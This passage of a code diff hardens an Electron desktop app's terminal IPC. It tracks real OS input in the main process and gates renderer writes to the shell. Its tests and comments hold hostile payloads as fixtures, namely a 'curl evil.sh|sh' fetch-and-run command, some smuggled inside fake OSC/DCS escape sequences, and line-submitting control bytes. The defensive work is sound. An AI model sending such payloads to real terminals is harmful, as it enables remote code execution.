+ * main, letting that escape turned it into an unhandled rejection raised from
+ * the loopback callback. Recorded rather than swallowed: a sign-in that
+ * cannot present itself is exactly what the event log is for.
+ */
+ const resolveWindow = async (reason: string): Promise => {
+ try {
+ return await deps.ensureMainWindow()
+ } catch (error) {
+ const message = getErrorMessage(error, 'Main window unavailable')
+ deps.events.record('handoff_redeem_fail', { reason, error: message })
+ logger.error('No window available for the sign-in handoff', { reason, error: message })
+ return null
+ }
+ }
+
const failInWindow = async (win: BrowserWindow, reason: string, status?: number) => {
deps.events.record(
'handoff_redeem_fail',
@@ -383,7 +406,8 @@ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow {
async beginLoginHandoff() {
const opened = await deps.handoff.begin()
if (!opened) {
- const win = await deps.ensureMainWindow()
+ const win = await resolveWindow('begin_window')
+ if (!win) return
void dialog.showMessageBox(win, {
type: 'error',
message: 'Couldn’t start sign-in',
@@ -392,7 +416,8 @@ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow {
}
},
async handleCallback(callback: HandoffCallback) {
- const win = await deps.ensureMainWindow()
+ const win = await resolveWindow('callback_window')
+ if (!win) return
if (!deps.handoff.consume(callback.state, 'login')) {
await failInWindow(win, 'state')
return
diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts
index 1b22fd23771..631826d87cc 100644
--- a/apps/desktop/src/main/index.ts
+++ b/apps/desktop/src/main/index.ts
@@ -1,5 +1,6 @@
import { join } from 'node:path'
import { createLogger } from '@sim/logger'
+import { getErrorMessage } from '@sim/utils/errors'
import type { Session, WebContents } from 'electron'
import { app, BrowserWindow, crashReporter, net, session } from 'electron'
import { newChatRoute, settingsRoute } from '@/main/app-routes'
@@ -55,6 +56,16 @@ import { attachWindowOpenPolicy, isPopupContents } from '@/main/windows'
const logger = createLogger('DesktopMain')
+/**
+ * Backstop for the sign-in flows, which are dispatched fire-and-forget from a
+ * loopback callback and a navigation guard. The flows record their own expected
+ * failures; this catches anything they do not, so a rejection cannot surface as
+ * an unhandled one — main registers no `unhandledRejection` handler.
+ */
+function reportHandoffFailure(error: unknown): void {
+ logger.error('Sign-in handoff failed', { error: getErrorMessage(error) })
+}
+
const OFFLINE_PAGE = 'static/offline.html'
const DOCK_ICON_FOR_CHANNEL = {
prod: 'dock-icon.png',
@@ -138,7 +149,7 @@ function main(): void {
currentUserId: () => readSessionUserId(ensureAppSession(), appOrigin()),
},
{
- onLogin: (callback) => void authFlow.handleCallback(callback),
+ onLogin: (callback) => void authFlow.handleCallback(callback).catch(reportHandoffFailure),
onConnect: (callback) => connectFlow.handleCallback(callback),
}
)
@@ -173,7 +184,7 @@ function main(): void {
isPackaged: app.isPackaged,
allowHttpLocalhost,
isPopupContents,
- onLoginHandoff: () => void authFlow.beginLoginHandoff(),
+ onLoginHandoff: () => void authFlow.beginLoginHandoff().catch(reportHandoffFailure),
onConnectIntercept: (contents) => void handleConnectIntercept(contents, allowHttpLocalhost()),
})
diff --git a/apps/desktop/src/main/input-activity.test.ts b/apps/desktop/src/main/input-activity.test.ts
new file mode 100644
index 00000000000..41b6b266d69
--- /dev/null
+++ b/apps/desktop/src/main/input-activity.test.ts
@@ -0,0 +1,112 @@
+/**
+ * @vitest-environment node
+ */
+import type { WebContents } from 'electron'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+ hasRecentDeliberateInput,
+ hasRecentDiscreteInput,
+ trackInputActivity,
+} from '@/main/input-activity'
+
+type InputListener = (event: unknown, input: { type: string }) => void
+
+function fakeContents(destroyed = false) {
+ const listeners: InputListener[] = []
+ const contents = {
+ isDestroyed: () => destroyed,
+ on: (channel: string, listener: InputListener) => {
+ if (channel === 'input-event') listeners.push(listener)
+ },
+ }
+ trackInputActivity(contents as unknown as WebContents)
+ return {
+ contents: contents as unknown as WebContents,
+ send: (type: string) => {
+ for (const listener of listeners) listener({}, { type })
+ },
+ }
+}
+
+describe('input activity', () => {
+ beforeEach(() => {
+ vi.useFakeTimers()
+ })
+
+ afterEach(() => {
+ vi.useRealTimers()
+ })
+
+ it('reports no input for a renderer that has never been touched', () => {
+ const { contents } = fakeContents()
+
+ expect(hasRecentDeliberateInput(contents)).toBe(false)
+ expect(hasRecentDiscreteInput(contents)).toBe(false)
+ })
+
+ it('counts a keypress as both deliberate and discrete input', () => {
+ const { contents, send } = fakeContents()
+
+ send('keyDown')
+
+ expect(hasRecentDeliberateInput(contents)).toBe(true)
+ expect(hasRecentDiscreteInput(contents)).toBe(true)
+ })
+
+ it('ignores the passive pointer stream a page gets for free', () => {
+ const { contents, send } = fakeContents()
+
+ for (const type of ['mouseMove', 'mouseEnter', 'mouseLeave', 'pointerMove']) send(type)
+
+ expect(hasRecentDeliberateInput(contents)).toBe(false)
+ expect(hasRecentDiscreteInput(contents)).toBe(false)
+ })
+
+ it('treats a wheel as deliberate but not as a discrete act', () => {
+ const { contents, send } = fakeContents()
+
+ send('mouseWheel')
+
+ expect(hasRecentDeliberateInput(contents)).toBe(true)
+ expect(hasRecentDiscreteInput(contents)).toBe(false)
+ })
+
+ it('expires deliberate input after its window', () => {
+ const { contents, send } = fakeContents()
+
+ send('keyDown')
+ vi.advanceTimersByTime(3_000)
+
+ expect(hasRecentDeliberateInput(contents)).toBe(false)
+ })
+
+ it('expires a discrete act after its longer window', () => {
+ const { contents, send } = fakeContents()
+
+ send('mouseDown')
+ vi.advanceTimersByTime(4_000)
+ expect(hasRecentDiscreteInput(contents)).toBe(true)
+
+ vi.advanceTimersByTime(1_000)
+ expect(hasRecentDiscreteInput(contents)).toBe(false)
+ })
+
+ it('never reports input for a destroyed renderer', () => {
+ const { contents, send } = fakeContents(true)
+
+ send('keyDown')
+
+ expect(hasRecentDeliberateInput(contents)).toBe(false)
+ expect(hasRecentDiscreteInput(contents)).toBe(false)
+ })
+
+ it('keeps activity separate per renderer', () => {
+ const first = fakeContents()
+ const second = fakeContents()
+
+ first.send('keyDown')
+
+ expect(hasRecentDeliberateInput(first.contents)).toBe(true)
+ expect(hasRecentDeliberateInput(second.contents)).toBe(false)
+ })
+})
diff --git a/apps/desktop/src/main/input-activity.ts b/apps/desktop/src/main/input-activity.ts
new file mode 100644
index 00000000000..1e1579edcfa
--- /dev/null
+++ b/apps/desktop/src/main/input-activity.ts
@@ -0,0 +1,137 @@
+import type { InputEvent, WebContents } from 'electron'
+
+/**
+ * Input Chromium delivers only because the user did something deliberate.
+ *
+ * `mouseMove`, `mouseEnter`, `mouseLeave`, `pointerMove` and `pointerRawUpdate`
+ * are excluded on purpose: they arrive continuously while the cursor merely
+ * rests over the window, so counting them as intent would hand every page a
+ * permanently-satisfied gate.
+ */
+const DELIBERATE_INPUT_TYPES: ReadonlySet = new Set([
+ 'keyDown',
+ 'rawKeyDown',
+ 'keyUp',
+ 'char',
+ 'mouseDown',
+ 'mouseUp',
+ 'mouseWheel',
+ 'touchStart',
+ 'touchEnd',
+ 'gestureTap',
+])
+
+/**
+ * The subset that is one discrete act — a keypress or a click. Wheel and
+ * key-up are dropped here: an irreversible operation should follow something
+ * the user can point at having done, not an inertial scroll.
+ */
+const DISCRETE_INPUT_TYPES: ReadonlySet = new Set([
+ 'keyDown',
+ 'rawKeyDown',
+ 'char',
+ 'mouseDown',
+ 'mouseUp',
+ 'touchEnd',
+ 'gestureTap',
+])
+
+/**
+ * Typing and scrolling produce input continuously, so a keystroke-driven
+ * terminal write always lands well inside this.
+ */
+const DELIBERATE_INPUT_WINDOW_MS = 3_000
+
+/**
+ * Matches the lifetime of Chromium's transient user activation, which is what
+ * the renderer-reported check this replaces was approximating.
+ */
+const DISCRETE_INPUT_WINDOW_MS = 5_000
+
+interface InputActivity {
+ lastDeliberateAt: number
+ lastDiscreteAt: number
+}
+
+const activityByContents = new WeakMap()
+
+/**
+ * A pointer move with a button held down — a drag, which is intent, unlike the
+ * resting-cursor stream the passive types are excluded for. Without this a
+ * selection drag longer than the window stops counting mid-gesture.
+ */
+function isDragMove(input: InputEvent): boolean {
+ if (input.type !== 'mouseMove') return false
+ const modifiers = input.modifiers ?? []
+ return (
+ modifiers.includes('leftbuttondown') ||
+ modifiers.includes('middlebuttondown') ||
+ modifiers.includes('rightbuttondown')
+ )
+}
+
+/**
+ * Records real OS input for `contents`.
+ *
+ * Chromium hands the main process every input event before the renderer sees
+ * it, and page script cannot synthesize one — which is the whole point. The
+ * gate this feeds used to ask the renderer about `navigator.userActivation`, a
+ * value evaluated in the page's own world that a compromised page redefines in
+ * one line. Anything derived from renderer-reported state is not a boundary;
+ * this is, because the signal never passes through the renderer at all.
+ */
+export function trackInputActivity(contents: WebContents): void {
+ contents.on('input-event', (_event, input) => {
+ if (!DELIBERATE_INPUT_TYPES.has(input.type) && !isDragMove(input)) return
+ const now = Date.now()
+ const discrete = DISCRETE_INPUT_TYPES.has(input.type)
+ const activity = activityByContents.get(contents)
+ if (!activity) {
+ activityByContents.set(contents, {
+ lastDeliberateAt: now,
+ lastDiscreteAt: discrete ? now : 0,
+ })
+ return
+ }
+ activity.lastDeliberateAt = now
+ if (discrete) activity.lastDiscreteAt = now
+ })
+}
+
+/**
+ * Whether the user has recently driven this renderer with real input —
+ * keystrokes, clicks or wheel. Gates the interactive terminal write path,
+ * where the legitimate caller is a person typing into xterm.js.
+ */
+export function hasRecentDeliberateInput(contents: WebContents): boolean {
+ return isWithin(contents, (activity) => activity.lastDeliberateAt, DELIBERATE_INPUT_WINDOW_MS)
+}
+
+/**
+ * Whether the user recently performed one discrete act in this renderer.
+ * Gates the operations with no native confirmation behind them, where the
+ * requirement is an actual click or keypress rather than mere activity.
+ */
+export function hasRecentDiscreteInput(contents: WebContents): boolean {
+ return isWithin(contents, (activity) => activity.lastDiscreteAt, DISCRETE_INPUT_WINDOW_MS)
+}
+
+/**
+ * Whether a recorded stamp is inside its window.
+ *
+ * A negative elapsed fails the check rather than passing it: `Date.now()` can
+ * step backwards on an NTP correction, and `now - then < window` is true for
+ * every negative delta, which would leave an arbitrarily old stamp satisfying
+ * the gate indefinitely.
+ */
+function isWithin(
+ contents: WebContents,
+ stamp: (activity: InputActivity) => number,
+ windowMs: number
+): boolean {
+ if (contents.isDestroyed()) return false
+ const activity = activityByContents.get(contents)
+ if (!activity) return false
+ const elapsed = Date.now() - stamp(activity)
+ return elapsed >= 0 && elapsed < windowMs
+}
diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts
index 26b4ee032c8..bdc5c428dd6 100644
--- a/apps/desktop/src/main/ipc.test.ts
+++ b/apps/desktop/src/main/ipc.test.ts
@@ -1,6 +1,6 @@
import { readFileSync } from 'node:fs'
import { fileURLToPath } from 'node:url'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
@@ -58,7 +58,8 @@ vi.mock('@/main/browser-agent/registry', () => ({
),
}))
-import { ipcMain, shell } from 'electron'
+import type { WebContents } from 'electron'
+import { clipboard, ipcMain, shell } from 'electron'
import {
copyCredential,
credentialsAvailable,
@@ -72,20 +73,29 @@ import {
importChromePasswords,
listChromeImportProfiles,
} from '@/main/browser-import'
+import { trackInputActivity } from '@/main/input-activity'
import { type IpcDeps, registerIpcHandlers } from '@/main/ipc'
import { LocalFilesystemService } from '@/main/local-filesystem'
import { TerminalService } from '@/main/terminal'
const APP = 'https://sim.ai'
+const ESC = '\u001b'
+const BEL = '\u0007'
+
+type InputListener = (event: unknown, input: { type: string }) => void
+
+interface FakeSender {
+ session?: { fetch: (url: string, init?: RequestInit) => Promise }
+ /** Marks a sender the mocked registry recognises as a browser tab. */
+ isBrowserTab?: boolean
+ isDestroyed?: () => boolean
+ on?: (channel: string, listener: InputListener) => void
+}
type Handler = (
event: {
senderFrame: { url: string; executeJavaScript?: (source: string) => Promise } | null
- sender?: {
- session?: { fetch: (url: string, init?: RequestInit) => Promise }
- /** Marks a sender the mocked registry recognises as a browser tab. */
- isBrowserTab?: boolean
- }
+ sender?: FakeSender
},
...args: unknown[]
) => unknown
@@ -102,48 +112,72 @@ function collectHandlers() {
return { invoke, on }
}
-const rejectedSender = () => ({
- session: {
- fetch: vi.fn(async () => {
- throw new Error('not authorized')
- }),
- },
-})
+/**
+ * A sender registered with the main-process input tracker, so a test can grant
+ * it a real gesture with `press`. User activation is no longer read out of the
+ * renderer, so a fixture cannot fake it by stubbing `executeJavaScript`.
+ */
+function trackedSender() {
+ const listeners: InputListener[] = []
+ const sender = {
+ session: {
+ fetch: vi.fn(async () => {
+ throw new Error('not authorized')
+ }),
+ },
+ isDestroyed: () => false,
+ on: (channel: string, listener: InputListener) => {
+ if (channel === 'input-event') listeners.push(listener)
+ },
+ }
+ trackInputActivity(sender as unknown as WebContents)
+ return {
+ sender,
+ /** Delivers one real click, satisfying both input-recency gates. */
+ press: () => {
+ for (const listener of listeners) listener({}, { type: 'mouseDown' })
+ },
+ }
+}
+
+const rejectedSender = () => trackedSender().sender
const fileSender = rejectedSender()
const appSender = rejectedSender()
const evilSender = rejectedSender()
+const activeSender = trackedSender()
+const activeChooserSender = trackedSender()
const fileEvent = {
senderFrame: { url: 'file:///app/static/offline.html' },
sender: fileSender,
}
const appEvent = { senderFrame: { url: `${APP}/workspace/ws1` }, sender: appSender }
const activeAppEvent = {
- senderFrame: {
- url: `${APP}/workspace/ws1`,
- executeJavaScript: vi.fn(async () => true),
- },
+ senderFrame: { url: `${APP}/workspace/ws1` },
+ sender: activeSender.sender,
}
+/** Same origin, but the main process has never seen this renderer get input. */
const inactiveAppEvent = {
- senderFrame: {
- url: `${APP}/workspace/ws1`,
- executeJavaScript: vi.fn(async () => false),
- },
+ senderFrame: { url: `${APP}/workspace/ws1` },
+ sender: rejectedSender(),
}
const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender }
/** The chooser anchors a native menu, so it needs a sender with a window. */
const FAKE_WINDOW = { id: 'main-window' }
const activeChooserEvent = {
- senderFrame: {
- url: `${APP}/workspace/ws1`,
- executeJavaScript: vi.fn(async () => true),
- },
- sender: appSender,
+ senderFrame: { url: `${APP}/workspace/ws1` },
+ sender: activeChooserSender.sender,
}
describe('registerIpcHandlers', () => {
let deps: IpcDeps
beforeEach(() => {
+ // Frozen so the input-recency windows cannot lapse mid-test: the gates read
+ // wall-clock, and a loaded machine pausing between this press and an
+ // assertion would flip them closed for reasons unrelated to the test.
+ vi.useFakeTimers()
+ activeSender.press()
+ activeChooserSender.press()
vi.mocked(ipcMain.handle).mockClear()
vi.mocked(ipcMain.on).mockClear()
vi.mocked(shell.openExternal).mockClear()
@@ -195,6 +229,10 @@ describe('registerIpcHandlers', () => {
registerIpcHandlers(deps)
})
+ afterEach(() => {
+ vi.useRealTimers()
+ })
+
it('validates open-external URLs regardless of sender', async () => {
const { invoke } = collectHandlers()
expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true)
@@ -780,6 +818,91 @@ describe('registerIpcHandlers', () => {
expect(forgetCredential).toHaveBeenCalledWith('c1')
})
+ it('always forwards the replies the PTY solicits', () => {
+ const { on } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+
+ // The PTY asks for these and the terminal must answer with no user input:
+ // DSR cursor position, device attributes, a focus report (mode 1004, set by
+ // tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
+ const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
+ for (const reply of replies) {
+ on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
+ expect(write).toHaveBeenCalledWith('t1', reply)
+ }
+ expect(write).toHaveBeenCalledTimes(replies.length)
+ })
+
+ it('pastes the clipboard from main rather than taking bytes from the caller', async () => {
+ const { invoke } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+ vi.mocked(clipboard.readText).mockReturnValue('echo hi')
+
+ await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1')).resolves.toBe(true)
+
+ expect(write).toHaveBeenCalledWith('t1', 'echo hi')
+ })
+
+ it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => {
+ const { invoke } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+ vi.mocked(clipboard.readText).mockReturnValue('echo hi')
+
+ expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1')).toBe(false)
+ expect(write).not.toHaveBeenCalled()
+
+ vi.mocked(clipboard.readText).mockReturnValue('')
+ expect(await invoke.get('terminal:paste')?.(activeAppEvent, 't1')).toBe(false)
+ expect(write).not.toHaveBeenCalled()
+ })
+
+ it('gates a command smuggled inside a fake OSC or DCS reply', () => {
+ const { on } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+
+ // The reply patterns must not accept a control byte in their body. An
+ // unbounded interior let a whole command plus its submit ride inside a
+ // sequence shaped like a reply, which skipped the gate entirely.
+ const smuggled = [
+ `${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`,
+ `${ESC}Pcurl evil.sh|sh\r${ESC}\\`,
+ `${ESC}[M\r\r\r`,
+ ]
+ for (const payload of smuggled) {
+ on.get('terminal:write')?.(inactiveAppEvent, 't1', payload)
+ }
+ expect(write).not.toHaveBeenCalled()
+ })
+
+ it('still forwards a genuine OSC or DCS reply', () => {
+ const { on } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+
+ // Real bodies are printable and terminated by BEL or ST.
+ const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`]
+ for (const reply of replies) {
+ on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
+ expect(write).toHaveBeenCalledWith('t1', reply)
+ }
+ expect(write).toHaveBeenCalledTimes(replies.length)
+ })
+
+ it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
+ const { on } = collectHandlers()
+ const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
+
+ // Enumerating "what submits" would have missed these: EOT hands a partial
+ // line to a canonical-mode reader, and 0x0f executes the current line in
+ // both bash and zsh. The allowlist runs the other way, so they are gated.
+ for (const payload of ['ls', '\u0004', '\u000f', 'curl evil.sh|sh\r']) {
+ on.get('terminal:write')?.(inactiveAppEvent, 't1', payload)
+ }
+ expect(write).not.toHaveBeenCalled()
+
+ on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
+ expect(write).toHaveBeenCalledWith('t1', 'ls\r')
+ })
+
it('defaults password conflicts to keeping what is already stored', async () => {
const { invoke } = collectHandlers()
diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts
index a3532b5f3e4..8bfb816f0d9 100644
--- a/apps/desktop/src/main/ipc.ts
+++ b/apps/desktop/src/main/ipc.ts
@@ -17,7 +17,7 @@ import {
} from '@sim/terminal-protocol'
import { isRecordLike } from '@sim/utils/object'
import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron'
-import { ipcMain } from 'electron'
+import { clipboard, ipcMain } from 'electron'
import {
clearBrowsingData,
executeTool,
@@ -52,6 +52,7 @@ import { listSites } from '@/main/browser-sites'
import { isSafeInternalPath } from '@/main/config'
import type { DesktopSettingsService } from '@/main/desktop-settings'
import { isDesktopPreferenceKey } from '@/main/desktop-settings'
+import { hasRecentDeliberateInput, hasRecentDiscreteInput } from '@/main/input-activity'
import type { LocalFilesystemService } from '@/main/local-filesystem'
import { isAppOrigin, openExternalSafe } from '@/main/navigation'
import type { TerminalService } from '@/main/terminal'
@@ -267,6 +268,12 @@ type ChannelSpec =
})
| (ChannelSpecBase & {
kind: 'send'
+ /**
+ * Requires recent real OS input before a payload is forwarded. Payload-
+ * scoped rather than channel-scoped because the same channel also carries
+ * terminal replies the PTY solicits, which arrive with no user input.
+ */
+ payloadNeedsDeliberateInput?: boolean
handler: (...args: unknown[]) => void
})
@@ -307,14 +314,56 @@ function localFilesystemRequestNeedsToolAuthorization(request: unknown): boolean
)
}
-async function rendererHasActiveUserGesture(event: IpcMainInvokeEvent): Promise {
- const frame = event.senderFrame
- if (!frame || typeof frame.executeJavaScript !== 'function') return false
- try {
- return (await frame.executeJavaScript('navigator.userActivation?.isActive === true')) === true
- } catch {
- return false
- }
+/**
+ * Whether the caller has a real user gesture behind it, answered from the main
+ * process's own record of OS input rather than by asking the renderer.
+ */
+function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean {
+ return hasRecentDiscreteInput(event.sender)
+}
+
+/**
+ * Replies the PTY solicits and the terminal must answer unprompted. All
+ * machine-generated and self-delimiting, which is what makes them safe to
+ * enumerate.
+ *
+ * Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real
+ * DCS or OSC reply carries text terminated by ST or BEL and never a control
+ * byte, so an unbounded interior would let a hostile renderer wrap a whole
+ * command and its submit inside a fake `ESC ] ... CR BEL` and be waved through
+ * as a reply, reopening the path this gate exists to close. X10 mouse is
+ * bounded the same way: its three bytes are offset by 32, so a control byte
+ * there is never legitimate either.
+ */
+const PTY_REPLY_BODY = '[\\u0020-\\u00ff]'
+const PTY_REPLY_PATTERNS = [
+ /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes
+ /\u001b\[[IO]/, // focus in/out (mode 1004)
+ new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report
+ /\u001b\[<[0-9;]*[mM]/, // SGR mouse report
+ new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response
+ new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response
+]
+const PTY_REPLY = new RegExp(
+ `^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$`
+)
+
+/**
+ * Whether a terminal-write payload needs a person behind it.
+ *
+ * The reply set is enumerated and everything else is gated, rather than the
+ * other way round. "What submits" is not a closed set: besides carriage return
+ * and newline, EOT (`0x04`) hands a partial line straight to a reader in
+ * canonical mode, and `0x0f` is `operate-and-get-next` in bash and
+ * `accept-line-and-down-history` in zsh — both of which execute the current
+ * line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
+ * set would leave whichever binding was forgotten ungated, so the allowlist runs
+ * the other way and fails closed.
+ */
+function needsDeliberateInputForWrite(args: unknown[]): boolean {
+ const data = args[1]
+ if (typeof data !== 'string' || data.length === 0) return false
+ return !PTY_REPLY.test(data)
}
interface DesktopToolAuthorization {
@@ -872,6 +921,24 @@ export function registerIpcHandlers(deps: IpcDeps): void {
handler: (sender, focused) =>
deps.terminal.setPanelFocused(focused === true, sender as WebContents),
},
+ 'terminal:paste': {
+ kind: 'invoke',
+ gate: 'app-origin',
+ requires: 'terminal',
+ denied: false,
+ // The bytes come from the clipboard here, not from the caller, so this
+ // does not need the write gate: a compromised renderer can only replay
+ // what the user already copied. It still needs a real gesture, because
+ // the legitimate caller is a Paste click or ⌘V.
+ needsUserActivation: true,
+ handler: (terminalId) => {
+ if (typeof terminalId !== 'string') return false
+ const text = clipboard.readText()
+ if (!text) return false
+ deps.terminal.write(terminalId, text)
+ return true
+ },
+ },
'terminal:scrollback': {
kind: 'invoke',
gate: 'app-origin',
@@ -919,10 +986,20 @@ export function registerIpcHandlers(deps: IpcDeps): void {
gate: 'app-origin',
requires: 'terminal',
handler: (terminalId, data) => {
- if (typeof terminalId === 'string' && typeof data === 'string') {
- deps.terminal.write(terminalId, data)
- }
+ if (typeof terminalId !== 'string' || typeof data !== 'string') return
+ deps.terminal.write(terminalId, data)
},
+ // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
+ // Panel focus is deliberately not used — `terminal:focused` is a
+ // renderer-asserted claim the same attacker can set.
+ //
+ // MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's
+ // line buffer, where the user's own next Enter submits it — visible on
+ // screen, but not prevented. Closing that needs the interactive path off
+ // the renderer surface entirely (main writing the keystrokes it already
+ // observes) or the terminal in its own WebContents, neither of which is a
+ // gate change. Tracked as follow-up.
+ payloadNeedsDeliberateInput: true,
},
'terminal:resize': {
kind: 'send',
@@ -972,7 +1049,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (spec.kind === 'invoke') {
ipcMain.handle(channel, async (event, ...args) => {
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied
- if (spec.needsUserActivation && !(await rendererHasActiveUserGesture(event))) {
+ if (spec.needsUserActivation && !senderHasUserGesture(event)) {
return spec.denied
}
let handlerArgs = args
@@ -1013,7 +1090,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (
channel === 'desktop:local-filesystem' &&
localFilesystemRequestNeedsUserActivation(args[0]) &&
- !(await rendererHasActiveUserGesture(event))
+ !senderHasUserGesture(event)
) {
return {
ok: false,
@@ -1039,9 +1116,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
})
} else {
ipcMain.on(channel, (event, ...args) => {
- if (senderAllowed(event, spec.gate) && featureAllowed(spec.requires)) {
- spec.handler(...(spec.passSender ? [event.sender, ...args] : args))
+ if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
+ if (
+ spec.payloadNeedsDeliberateInput &&
+ needsDeliberateInputForWrite(args) &&
+ !hasRecentDeliberateInput(event.sender)
+ ) {
+ return
}
+ spec.handler(...(spec.passSender ? [event.sender, ...args] : args))
})
}
}
diff --git a/apps/desktop/src/main/security-guards.ts b/apps/desktop/src/main/security-guards.ts
index ac6e8b2882b..41499742e65 100644
--- a/apps/desktop/src/main/security-guards.ts
+++ b/apps/desktop/src/main/security-guards.ts
@@ -2,6 +2,7 @@ import { createLogger } from '@sim/logger'
import type { WebContents } from 'electron'
import { app } from 'electron'
import { isAgentWebContents } from '@/main/browser-agent/registry'
+import { trackInputActivity } from '@/main/input-activity'
import { classifyNavigation, openExternalSafe } from '@/main/navigation'
import { scrubUrl } from '@/main/observability'
@@ -85,6 +86,7 @@ export function installGlobalGuards(deps: GuardDeps): void {
})
}
contents.setWindowOpenHandler(() => ({ action: 'deny' }))
+ trackInputActivity(contents)
attachNavigationGuards(contents, deps)
})
diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts
index 70adf203b66..e0f4e81b383 100644
--- a/apps/desktop/src/main/terminal/index.ts
+++ b/apps/desktop/src/main/terminal/index.ts
@@ -40,6 +40,7 @@ import {
awaitRun,
capturePane,
closeRunWindow,
+ isRunComplete,
isTmuxUnavailable,
killPane,
listPanes,
@@ -49,6 +50,7 @@ import {
startRun,
TMUX_KEY_NAMES,
type TmuxAttachment,
+ type TmuxRunHandle,
} from '@/main/terminal/tmux'
const logger = createLogger('DesktopTerminal')
@@ -176,6 +178,14 @@ export class TerminalService {
private readonly handoffs = new Map()
/** Recently resolved tmux attachments, by terminal id, to avoid re-spawning. */
private readonly tmuxCache = new Map()
+ /**
+ * Run handles for commands that outlived their wait window, keyed by
+ * terminal. `startRun` makes a temp directory per run and only its handle can
+ * remove it, so a handle dropped on the still-running path leaks that
+ * directory for the life of the process while `tee` keeps appending to it.
+ * Held here so the terminal's own lifecycle can reclaim them.
+ */
+ private readonly pendingRuns = new Map()
constructor(private readonly options: TerminalServiceOptions = {}) {}
@@ -294,6 +304,37 @@ export class TerminalService {
return this.retire(terminalId)
}
+ /**
+ * Removes the temp directories of tracked runs that have since finished.
+ *
+ * Called when a new run starts on the same terminal, which is the one moment
+ * the service is already doing run bookkeeping — a dedicated reaper timer
+ * would be a subsystem to own for something this cheap. A run still going is
+ * left alone: its `tee` is still appending to that directory.
+ */
+ private reapFinishedRuns(terminalId: string): void {
+ const pending = this.pendingRuns.get(terminalId)
+ if (!pending) return
+ const stillRunning: TmuxRunHandle[] = []
+ for (const handle of pending) {
+ if (isRunComplete(handle)) handle.dispose()
+ else stillRunning.push(handle)
+ }
+ if (stillRunning.length === 0) this.pendingRuns.delete(terminalId)
+ else this.pendingRuns.set(terminalId, stillRunning)
+ }
+
+ /**
+ * Releases every tracked run for a terminal, finished or not. The terminal is
+ * going away, so nothing will ever read these files again.
+ */
+ private releasePendingRuns(terminalId: string): void {
+ const pending = this.pendingRuns.get(terminalId)
+ if (!pending) return
+ for (const handle of pending) handle.dispose()
+ this.pendingRuns.delete(terminalId)
+ }
+
/**
* Drops a terminal and decides what replaces it. Closing and exiting share
* this so the two cannot drift into different answers for "what happens to
@@ -310,6 +351,7 @@ export class TerminalService {
session.dispose()
this.sessions.delete(terminalId)
this.tmuxCache.delete(terminalId)
+ this.releasePendingRuns(terminalId)
if (this.sessions.size === 0) {
this.spawn(this.resolveCwd(closedCwd), cols, rows)
@@ -459,6 +501,10 @@ export class TerminalService {
}
this.sessions.clear()
this.tmuxCache.clear()
+ for (const handles of this.pendingRuns.values()) {
+ for (const handle of handles) handle.dispose()
+ }
+ this.pendingRuns.clear()
this.activeId = null
// A stale claim here is what let Cmd-W close a shell that no longer exists.
this.setPanelFocused(false)
@@ -784,6 +830,7 @@ export class TerminalService {
if (!command) throw new TerminalError('INVALID_REQUEST', 'run needs a `command`.')
const started = Date.now()
+ this.reapFinishedRuns(terminal.terminalId)
const handle = await startRun(session, command, terminal.currentCwd, terminal.env)
if ('error' in handle) throw new TerminalError('SPAWN_FAILED', handle.error)
@@ -792,6 +839,12 @@ export class TerminalService {
if (outcome.done) {
await closeRunWindow(handle, terminal.env)
handle.dispose()
+ } else {
+ // Still going, and nothing polls the status file again — `read` captures
+ // the pane instead.
+ const pending = this.pendingRuns.get(terminal.terminalId)
